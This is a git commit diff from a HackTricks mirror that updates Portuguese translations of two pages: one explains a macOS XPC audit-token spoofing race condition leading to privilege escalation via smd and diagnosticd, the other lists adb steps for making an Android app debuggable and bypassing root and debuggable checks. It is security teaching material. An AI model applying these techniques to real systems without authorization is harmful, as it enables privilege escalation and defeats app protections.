mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 05:33:33 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
ddf91e3638
commit
f43243b9f5
23 changed files with 1021 additions and 2419 deletions
|
@ -10,12 +10,10 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Esta técnica foi copiada de** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
|
||||||
|
|
||||||
## Informações Básicas sobre Mensagens Mach
|
## Informações Básicas sobre Mensagens Mach
|
||||||
|
|
||||||
Se você não sabe o que são Mensagens Mach, comece verificando esta página:
|
Se você não sabe o que são Mensagens Mach, comece verificando esta página:
|
||||||
|
@ -25,7 +23,7 @@ Se você não sabe o que são Mensagens Mach, comece verificando esta página:
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Por enquanto, lembre-se de que:
|
Por enquanto, lembre-se de que:
|
||||||
Mensagens Mach são enviadas através de um _mach port_, que é um canal de comunicação **com um único receptor e múltiplos remetentes** integrado ao kernel mach. **Múltiplos processos podem enviar mensagens** para um mach port, mas em qualquer momento **apenas um único processo pode lê-lo**. Assim como descritores de arquivo e sockets, mach ports são alocados e gerenciados pelo kernel e os processos apenas veem um inteiro, que podem usar para indicar ao kernel qual dos seus mach ports desejam usar.
|
Mensagens Mach são enviadas através de uma _porta mach_, que é um canal de comunicação **com um único receptor e múltiplos remetentes** incorporado ao kernel mach. **Vários processos podem enviar mensagens** para uma porta mach, mas em qualquer momento **apenas um único processo pode lê-la**. Assim como descritores de arquivo e soquetes, as portas mach são alocadas e gerenciadas pelo kernel e os processos apenas veem um inteiro, que podem usar para indicar ao kernel qual das suas portas mach desejam usar.
|
||||||
|
|
||||||
## Conexão XPC
|
## Conexão XPC
|
||||||
|
|
||||||
|
@ -37,18 +35,18 @@ Se você não sabe como uma conexão XPC é estabelecida, verifique:
|
||||||
|
|
||||||
## Resumo da Vulnerabilidade
|
## Resumo da Vulnerabilidade
|
||||||
|
|
||||||
O que é interessante para você saber é que a abstração do **XPC é uma conexão um-para-um**, mas é baseada em uma tecnologia que **pode ter múltiplos remetentes, então:**
|
O que é interessante para você saber é que a **abstração do XPC é uma conexão um-para-um**, mas é baseada em uma tecnologia que **pode ter múltiplos remetentes, então:**
|
||||||
|
|
||||||
* Mach ports são de um único receptor, _**múltiplos remetentes**_.
|
* Portas Mach são de receptor único, **múltiplos remetentes**.
|
||||||
* O audit token de uma conexão XPC é o audit token _**copiado da mensagem mais recentemente recebida**_.
|
* O token de auditoria de uma conexão XPC é o token de auditoria **copiado da mensagem mais recentemente recebida**.
|
||||||
* Obter o **audit token** de uma conexão XPC é crítico para muitas **verificações de segurança**.
|
* Obter o **token de auditoria** de uma conexão XPC é crítico para muitas **verificações de segurança**.
|
||||||
|
|
||||||
Embora a situação anterior pareça promissora, existem alguns cenários onde isso não vai causar problemas:
|
Embora a situação anterior pareça promissora, existem alguns cenários onde isso não vai causar problemas:
|
||||||
|
|
||||||
* Audit tokens são frequentemente usados para uma verificação de autorização para decidir se aceitam uma conexão. Como isso acontece usando uma mensagem para o serviço de porta, **nenhuma conexão está estabelecida ainda**. Mais mensagens nesta porta serão apenas tratadas como solicitações de conexão adicionais. Então, qualquer **verificação antes de aceitar uma conexão não é vulnerável** (isso também significa que dentro de `-listener:shouldAcceptNewConnection:` o audit token é seguro). Portanto, estamos **procurando por conexões XPC que verifiquem ações específicas**.
|
* Tokens de auditoria são frequentemente usados para uma verificação de autorização para decidir se aceitam uma conexão. Como isso acontece usando uma mensagem para o serviço de porta, ainda **não há conexão estabelecida**. Mais mensagens nesta porta serão apenas tratadas como solicitações de conexão adicionais. Então, qualquer **verificação antes de aceitar uma conexão não é vulnerável** (isso também significa que dentro de `-listener:shouldAcceptNewConnection:` o token de auditoria é seguro). Portanto, estamos **procurando por conexões XPC que verifiquem ações específicas**.
|
||||||
* Manipuladores de eventos XPC são tratados de forma síncrona. Isso significa que o manipulador de eventos para uma mensagem deve ser concluído antes de chamá-lo para a próxima, mesmo em filas de despacho concorrentes. Então, dentro de um **manipulador de eventos XPC o audit token não pode ser sobrescrito** por outras mensagens normais (não-resposta!).
|
* Manipuladores de eventos XPC são tratados de forma síncrona. Isso significa que o manipulador de eventos para uma mensagem deve ser concluído antes de chamá-lo para a próxima, mesmo em filas de despacho concorrentes. Então, dentro de um **manipulador de eventos XPC o token de auditoria não pode ser sobrescrito** por outras mensagens normais (não-resposta!).
|
||||||
|
|
||||||
Isso nos deu a ideia de dois métodos diferentes que isso pode ser possível:
|
Isso nos deu a ideia de dois métodos diferentes pelos quais isso pode ser possível:
|
||||||
|
|
||||||
1. Variante1:
|
1. Variante1:
|
||||||
* **Exploit** **conecta** ao serviço **A** e serviço **B**
|
* **Exploit** **conecta** ao serviço **A** e serviço **B**
|
||||||
|
@ -56,8 +54,8 @@ Isso nos deu a ideia de dois métodos diferentes que isso pode ser possível:
|
||||||
* Serviço **A** chama **`xpc_connection_get_audit_token`** enquanto _**não**_ está dentro do **manipulador de eventos** para uma conexão em um **`dispatch_async`**.
|
* Serviço **A** chama **`xpc_connection_get_audit_token`** enquanto _**não**_ está dentro do **manipulador de eventos** para uma conexão em um **`dispatch_async`**.
|
||||||
* Então, uma **mensagem diferente** poderia **sobrescrever o Audit Token** porque está sendo despachada de forma assíncrona fora do manipulador de eventos.
|
* Então, uma **mensagem diferente** poderia **sobrescrever o Audit Token** porque está sendo despachada de forma assíncrona fora do manipulador de eventos.
|
||||||
* O exploit passa para o **serviço B o direito de ENVIO para o serviço A**.
|
* O exploit passa para o **serviço B o direito de ENVIO para o serviço A**.
|
||||||
* Então, o svc **B** estará na verdade **enviando** as **mensagens** para o serviço **A**.
|
* Então o svc **B** estará na verdade **enviando** as **mensagens** para o serviço **A**.
|
||||||
* O **exploit** tenta **chamar** a **ação privilegiada**. Em um RC svc **A** **verifica** a autorização desta **ação** enquanto **svc B sobrescreveu o Audit token** (dando ao exploit acesso para chamar a ação privilegiada).
|
* O **exploit** tenta **chamar** a **ação privilegiada**. Em uma RC svc **A** **verifica** a autorização desta **ação** enquanto **svc B sobrescreveu o Audit token** (dando ao exploit acesso para chamar a ação privilegiada).
|
||||||
2. Variante 2:
|
2. Variante 2:
|
||||||
* Serviço **B** pode chamar uma **funcionalidade privilegiada** no serviço A que o usuário não pode
|
* Serviço **B** pode chamar uma **funcionalidade privilegiada** no serviço A que o usuário não pode
|
||||||
* Exploit se conecta com **serviço A** que **envia** ao exploit uma **mensagem esperando uma resposta** em um específico **porto de resposta**.
|
* Exploit se conecta com **serviço A** que **envia** ao exploit uma **mensagem esperando uma resposta** em um específico **porto de resposta**.
|
||||||
|
@ -68,65 +66,68 @@ Isso nos deu a ideia de dois métodos diferentes que isso pode ser possível:
|
||||||
|
|
||||||
Cenário:
|
Cenário:
|
||||||
|
|
||||||
* Dois serviços mach **\_A**_ e **\_B**_ aos quais podemos nos conectar (baseado no perfil de sandbox e nas verificações de autorização antes de aceitar a conexão).
|
* Dois serviços mach **`A`** e **`B`** aos quais podemos nos conectar (baseado no perfil de sandbox e nas verificações de autorização antes de aceitar a conexão).
|
||||||
* _**A**_ deve ter uma **verificação de autorização** para uma **ação específica que \_B**_ pode passar (mas nosso aplicativo não pode).
|
* _**A**_ deve ter uma **verificação de autorização** para uma ação específica que **`B`** pode passar (mas nosso aplicativo não pode).
|
||||||
* Por exemplo, se B tem alguns **entitlements** ou está executando como **root**, isso pode permitir que ele peça ao A para realizar uma ação privilegiada.
|
* Por exemplo, se B tem alguns **direitos** ou está executando como **root**, isso pode permitir que ele peça a A para realizar uma ação privilegiada.
|
||||||
* Para esta verificação de autorização, _**A**_ obtém o audit token de forma assíncrona, por exemplo, chamando `xpc_connection_get_audit_token` de **`dispatch_async`**.
|
* Para esta verificação de autorização, **`A`** obtém o token de auditoria de forma assíncrona, por exemplo, chamando `xpc_connection_get_audit_token` de **`dispatch_async`**.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Neste caso, um atacante poderia desencadear uma **Condição de Corrida** fazendo um **exploit** que **pede ao A para realizar uma ação** várias vezes enquanto faz **B enviar mensagens ao A**. Quando a RC é **bem-sucedida**, o **audit token** do **B** será copiado na memória **enquanto** a solicitação do nosso **exploit** está sendo **tratada** pelo A, dando-lhe **acesso à ação privilegiada que apenas B poderia solicitar**.
|
Neste caso, um atacante poderia desencadear uma **Condição de Corrida** fazendo um **exploit** que **pede a A para realizar uma ação** várias vezes enquanto faz **B enviar mensagens para `A`**. Quando a RC é **bem-sucedida**, o **audit token** de **B** será copiado na memória **enquanto** a solicitação do nosso **exploit** está sendo **tratada** por A, dando-lhe **acesso à ação privilegiada que apenas B poderia solicitar**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Isso aconteceu com _**A**_ como `smd` e _**B**_ como `diagnosticd`. A função [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) do smb pode ser usada para instalar um novo ajudante privilegiado (como **root**). Se um **processo executando como root contatar** **smd**, nenhuma outra verificação será realizada.
|
Isso aconteceu com **`A`** como `smd` e **`B`** como `diagnosticd`. A função [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) do smb pode ser usada para instalar uma nova ferramenta de ajuda privilegiada (como **root**). Se um **processo executando como root contatar** **smd**, nenhuma outra verificação será realizada.
|
||||||
|
|
||||||
Portanto, o serviço **B** é **`diagnosticd`** porque ele executa como **root** e pode ser usado para **monitorar** um processo, então, uma vez que o monitoramento começou, ele enviará **várias mensagens por segundo.**
|
Portanto, o serviço **B** é **`diagnosticd`** porque ele executa como **root** e pode ser usado para **monitorar** um processo, então, uma vez que o monitoramento começou, ele enviará **várias mensagens por segundo.**
|
||||||
|
|
||||||
Para realizar o ataque:
|
Para realizar o ataque:
|
||||||
|
|
||||||
1. Estabelecemos nossa **conexão** com **`smd`** seguindo o protocolo XPC normal.
|
1. Estabelecemos nossa **conexão** com **`smd`** seguindo o protocolo XPC normal.
|
||||||
2. Em seguida, estabelecemos uma **conexão** com **`diagnosticd`**, mas em vez de gerar duas novas portas mach e enviá-las, substituímos o direito de envio do porto do cliente por uma cópia do **direito de envio que temos para a conexão com `smd`**.
|
2. Em seguida, estabelecemos uma **conexão** com **`diagnosticd`**, mas em vez de gerar duas novas portas mach e enviá-las, substituímos o direito de envio da porta do cliente por uma cópia do **direito de envio que temos para a conexão com `smd`**.
|
||||||
3. O que isso significa é que podemos enviar mensagens XPC para `diagnosticd`, mas quaisquer **mensagens que `diagnosticd` envia vão para `smd`**.
|
3. O que isso significa é que podemos enviar mensagens XPC para `diagnosticd`, mas quaisquer **mensagens que `diagnosticd` envia vão para `smd`**.
|
||||||
* Para `smd`, as mensagens nossas e de `diagnosticd` parecem chegar na mesma conexão.
|
* Para `smd`, as mensagens nossas e de `diagnosticd` parecem chegar na mesma conexão.
|
||||||
|
|
||||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
4. Pedimos ao **`diagnosticd`** para **começar a monitorar** nosso processo (ou qualquer processo ativo) e **enviamos mensagens de rotina 1004 para `smd`** (para instalar uma ferramenta privilegiada).
|
4. Pedimos a **`diagnosticd`** para **começar a monitorar** nosso processo (ou qualquer processo ativo) e **enviamos mensagens de rotina 1004 para `smd`** (para instalar uma ferramenta privilegiada).
|
||||||
5. Isso cria uma condição de corrida que precisa atingir uma janela muito específica em `handle_bless`. Precisamos que a chamada para `xpc_connection_get_pid` retorne o PID do nosso próprio processo, já que a ferramenta de ajuda privilegiada está no nosso pacote de aplicativos. No entanto, a chamada para `xpc_connection_get_audit_token` dentro da função `connection_is_authorized` deve usar o audit token de `diganosticd`.
|
5. Isso cria uma condição de corrida que precisa atingir uma janela muito específica em `handle_bless`. Precisamos que a chamada para `xpc_connection_get_pid` retorne o PID do nosso próprio processo, já que a ferramenta de ajuda privilegiada está no nosso pacote de aplicativos. No entanto, a chamada para `xpc_connection_get_audit_token` dentro da função `connection_is_authorized` deve usar o token de auditoria de `diganosticd`.
|
||||||
|
|
||||||
## Variante 2: encaminhamento de resposta
|
## Variante 2: encaminhamento de resposta
|
||||||
|
|
||||||
Como mencionado antes, o manipulador de eventos em uma conexão XPC nunca é executado várias vezes simultaneamente. No entanto, **mensagens de resposta XPC** são tratadas de forma diferente. Existem duas funções para enviar uma mensagem que espera uma resposta:
|
Como mencionado anteriormente, o manipulador de eventos em uma conexão XPC nunca é executado várias vezes simultaneamente. No entanto, **mensagens de resposta XPC são tratadas de forma diferente. Existem duas funções para enviar uma mensagem que espera uma resposta:
|
||||||
|
|
||||||
* `void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler)`, no qual o caso da mensagem XPC é recebida e analisada na fila especificada.
|
* `void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler)`, no qual o caso da mensagem XPC é recebida e analisada na fila especificada.
|
||||||
* `xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message)`, no qual o caso da mensagem XPC é recebida e analisada na fila de despacho atual.
|
* `xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message)`, no qual o caso da mensagem XPC é recebida e analisada na fila de despacho atual.
|
||||||
|
|
||||||
Portanto, **pacotes de resposta XPC podem ser analisados enquanto um manipulador de eventos XPC está sendo executado**. Embora `_xpc_connection_set_creds` use bloqueio, isso apenas impede a sobrescrita parcial do audit token, não bloqueia o objeto de conexão inteiro, tornando possível **substituir o audit token entre a análise** de um pacote e a execução de seu manipulador de eventos.
|
Portanto, **pacotes de resposta XPC podem ser analisados enquanto um manipulador de eventos XPC está executando**. Embora `_xpc_connection_set_creds` use bloqueio, isso apenas impede a sobrescrita parcial do token de auditoria, não bloqueia o objeto de conexão inteiro, tornando possível **substituir o token de auditoria entre a análise** de um pacote e a execução de seu manipulador de eventos.
|
||||||
|
|
||||||
Para este cenário, precisaríamos:
|
Para este cenário, precisaríamos:
|
||||||
|
|
||||||
* Como antes, dois serviços mach _A_ e _B_ aos quais podemos nos conectar.
|
* Como antes, dois serviços mach **`A`** e **`B`** aos quais podemos nos conectar.
|
||||||
* Novamente, _A_ deve ter uma verificação de autorização para uma ação específica que _B_ pode passar (mas nosso aplicativo não pode).
|
* Novamente, **`A`** deve ter uma verificação de autorização para uma ação específica que **`B`** pode passar (mas nosso aplicativo não pode).
|
||||||
* _A_ nos envia uma mensagem que espera uma resposta.
|
* **`A`** nos envia uma mensagem que espera uma resposta.
|
||||||
* Podemos enviar uma mensagem para _B_ que ele responderá.
|
* Podemos enviar uma mensagem para **`B`** que ele responderá.
|
||||||
|
|
||||||
Esperamos que _A_ nos envie uma mensagem que espera uma resposta (1), em vez de responder, pegamos o porto de resposta e o usamos para uma mensagem que enviamos para _B_ (2). Então, enviamos uma mensagem que usa a ação proibida e esperamos que ela chegue simultaneamente com a resposta de _B_ (3).
|
Esperamos que **`A`** nos envie uma mensagem que espera uma resposta (1), em vez de responder, pegamos o porto de resposta e o usamos para uma mensagem que enviamos para **`B`** (2). Então, enviamos uma mensagem que usa a ação proibida e esperamos que ela chegue simultaneamente com a resposta de **`B`** (3).
|
||||||
|
|
||||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## Problemas de Descoberta
|
## Problemas de Descoberta
|
||||||
|
|
||||||
Passamos muito tempo tentando encontrar outras instâncias, mas as condições tornaram difícil a busca tanto estática quanto dinamicamente. Para procurar chamadas assíncronas para `xpc_connection_get_audit_token`, usamos o Frida para enganchar nesta função para verificar se o backtrace inclui `_xpc_connection_mach_event` (o que significa que não é chamado de um manipulador de eventos). Mas isso só encontra chamadas no processo que atualmente enganchamos e das ações que estão ativamente sendo usadas. Analisar todos os serviços mach acessíveis no IDA/Ghidra foi muito demorado, especialmente quando chamadas envolviam o cache compartilhado dyld. Tentamos scriptar isso para procurar chamadas para `xpc_connection_get_audit_token` acessíveis a partir de um bloco enviado usando `dispatch_async`, mas analisar blocos e chamadas passando para o cache compartilhado dyld tornou isso difícil também. Depois de passar um tempo nisso, decidimos que seria melhor enviar o que tínhamos.
|
Passamos muito tempo tentando encontrar outras instâncias, mas as condições tornaram difícil a busca tanto estática quanto dinamicamente. Para procurar chamadas assíncronas para `xpc_connection_get_audit_token`, usamos o Frida para enganchar nesta função para verificar se o backtrace inclui `_xpc_connection_mach_event` (o que significa que não é chamado de um manipulador de eventos). Mas isso só encontra chamadas no processo que atualmente enganchamos e das ações que estão ativamente sendo usadas. Analisar todos os serviços mach acessíveis no IDA/Ghidra foi muito intensivo em tempo, especialmente quando as chamadas envolviam o cache compartilhado dyld. Tentamos scriptar isso para procurar chamadas para `xpc_connection_get_audit_token` acessíveis a partir de um bloco enviado usando `dispatch_async`, mas analisar blocos e chamadas passando para o cache compartilhado dyld tornou isso difícil também. Depois de passar um tempo nisso, decidimos que seria melhor enviar o que tínhamos.
|
||||||
|
|
||||||
## A correção <a href="#the-fix" id="the-fix"></a>
|
## A correção <a href="#the-fix" id="the-fix"></a>
|
||||||
|
|
||||||
No final, relatamos o problema geral e o problema específico no `smd`. A Apple corrigiu apenas no `smd` substituindo a chamada para `xpc_connection_get_audit_token` por `xpc_dictionary_get_audit_token`.
|
No final, relatamos o problema geral e o problema específico em `smd`. A Apple corrigiu apenas em `smd` substituindo a chamada para `xpc_connection_get_audit_token` por `xpc_dictionary_get_audit_token`.
|
||||||
|
|
||||||
A função `xpc_dictionary_get_audit_token` copia o audit token da mensagem mach na qual esta mensagem XPC foi recebida, o que significa que não é vulnerável. No entanto, assim como `xpc_dictionary_get_audit_token`, isso não faz parte da API pública. Para a API de nível superior `NSXPCConnection`, não existe um método claro para obter o audit token da mensagem atual, pois isso abstrai todas as mensagens em chamadas de método.
|
A função `xpc_dictionary_get_audit_token` copia o token de auditoria da mensagem mach na qual esta mensagem XPC foi recebida, o que significa que não é vulnerável. No entanto, assim como `xpc_dictionary_get_audit_token`, isso não faz parte da API pública. Para a API de nível superior `NSXPCConnection`, não existe um método claro para obter o token de auditoria da mensagem atual, pois isso abstrai todas as mensagens em chamadas de método.
|
||||||
|
|
||||||
Não está claro para nós por que a Apple não aplicou uma correção mais geral, por exemplo, descartando mensagens que não correspondem ao audit token salvo da conexão. Pode haver cenários onde o audit token de um processo muda legitimamente, mas a conexão deve permanecer aberta (por exemplo, chamar `setuid` muda o campo UID), mas mudanças como um PID diferente ou versão do PID são improváveis de serem intencionais.
|
Não está claro para nós por que a Apple não aplicou uma correção mais geral, por exemplo, descartando mensagens que não correspondem ao token de auditoria salvo da conexão. Pode haver cenários em que o token de auditoria de um processo muda legitimamente, mas a conexão deve permanecer aberta (por exemplo, chamar `setuid` muda o campo UID), mas mudanças como um PID diferente ou versão do PID são improváveis de serem intencionais.
|
||||||
|
|
||||||
De qualquer forma, esse problema ainda permanece com o iOS 17 e o macOS 14, então se você quiser ir e procurar por ele, boa sorte!
|
De qualquer forma, esse problema ainda permanece com o iOS 17 e o macOS 14, então se você quiser ir e procurar por ele, boa sorte!
|
||||||
|
|
||||||
|
# Referências
|
||||||
|
* Para mais informações, confira o post original: [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
@ -137,6 +138,6 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -8,268 +8,102 @@ Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## **Burlando verificações de root e depurável**
|
## **Burlando verificações de root e depuráveis**
|
||||||
|
|
||||||
**Esta seção do post é um resumo do post** [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
**Esta seção do post é um resumo do post** [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||||
|
|
||||||
### Tornar o app depurável e executá-lo aguardando um depurador
|
### Passos para Tornar um App Android Depurável e Burlar Verificações
|
||||||
|
|
||||||
Passo 1 — Decompilar o APK usando a ferramenta APK-GUI. Editar o arquivo _android-manifest_ e adicionar _**android:debuggable=true**,_ para tornar a aplicação depurável. Recompilar, assinar e alinhar o aplicativo com zipalign.
|
#### **Tornando o App Depurável**
|
||||||
|
|
||||||
Passo 2 — Instalar a aplicação via -
|
Conteúdo baseado em https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
|
||||||
|
|
||||||
_**adb install \<nome_da_aplicação>**._
|
1. **Descompilar o APK:**
|
||||||
|
- Utilize a ferramenta APK-GUI para descompilar o APK.
|
||||||
|
- No arquivo _android-manifest_, insira `android:debuggable=true` para ativar o modo de depuração.
|
||||||
|
- Recompile, assine e alinhe o aplicativo modificado com zipalign.
|
||||||
|
|
||||||
Passo 3 — Obter o nome do pacote usando _-_
|
2. **Instalar o Aplicativo Modificado:**
|
||||||
|
- Use o comando: `adb install <nome_do_aplicativo>`.
|
||||||
|
|
||||||
_**adb shell pm list packages –3**_ (para listar as aplicações de terceiros).
|
3. **Recuperar o Nome do Pacote:**
|
||||||
|
- Execute `adb shell pm list packages –3` para listar aplicativos de terceiros e encontrar o nome do pacote.
|
||||||
|
|
||||||
Passo 4 — Agora faça a aplicação aguardar pelo depurador através deste comando — _**adb shell am setup-debug-app –w \<nome_do_pacote>**_.
|
4. **Configurar o App para Aguardar Conexão do Depurador:**
|
||||||
|
- Comando: `adb shell am setup-debug-app –w <nome_do_pacote>`.
|
||||||
|
- **Nota:** Este comando deve ser executado cada vez antes de iniciar o aplicativo para garantir que ele aguarde pelo depurador.
|
||||||
|
- Para persistência, use `adb shell am setup-debug-app –w -–persistent <nome_do_pacote>`.
|
||||||
|
- Para remover todas as flags, use `adb shell am clear-debug-app <nome_do_pacote>`.
|
||||||
|
|
||||||
**Nota —** Você precisará executar este comando todas as vezes, antes de iniciar a aplicação, para que a aplicação aguarde pelo depurador.
|
5. **Preparar para Depuração no Android Studio:**
|
||||||
|
- Navegue no Android Studio até _Arquivo -> Abrir Perfil ou APK_.
|
||||||
|
- Abra o APK recompilado.
|
||||||
|
|
||||||
Para torná-lo persistente, você pode usar –
|
6. **Definir Pontos de Interrupção em Arquivos Java Importantes:**
|
||||||
|
- Coloque pontos de interrupção em `MainActivity.java` (especificamente no método `onCreate`), `b.java` e `ContextWrapper.java`.
|
||||||
|
|
||||||
_**adb shell am setup-debug-app –w -–persistent \<nome_do_pacote>**._
|
#### **Burlando Verificações**
|
||||||
|
|
||||||
Para limpar todas as flags –
|
O aplicativo, em certos pontos, verificará se é depurável e também procurará por binários indicando um dispositivo com root. O depurador pode ser usado para modificar informações do app, desmarcar o bit depurável e alterar os nomes dos binários pesquisados para burlar essas verificações.
|
||||||
|
|
||||||
_**adb shell am clear-debug-app \<nome_do_pacote>**._
|
Para a verificação depurável:
|
||||||
|
|
||||||
Passo 5 — Abrir o _**Android Studio -> File -> Open Profile or APK**_ -> Abrir o APK recompilado.
|
1. **Modificar Configurações de Flag:**
|
||||||
|
- Na seção de variáveis do console do depurador, navegue até: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
|
||||||
|
- **Nota:** A representação binária de `flags = 814267974` é `11000011100111011110`, indicando que a "Flag_debuggable" está ativa.
|
||||||
|
|
||||||
Passo 6 — Adicionar pontos de interrupção aos arquivos java
|
![Captura de Tela do Depurador](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
|
||||||
|
*Figura: Captura de tela ilustrando a visão do depurador e a modificação das configurações de flag.*
|
||||||
|
|
||||||
* _**MainActivity.java — método onCreate, b.java, ContextWrapper.java**_
|
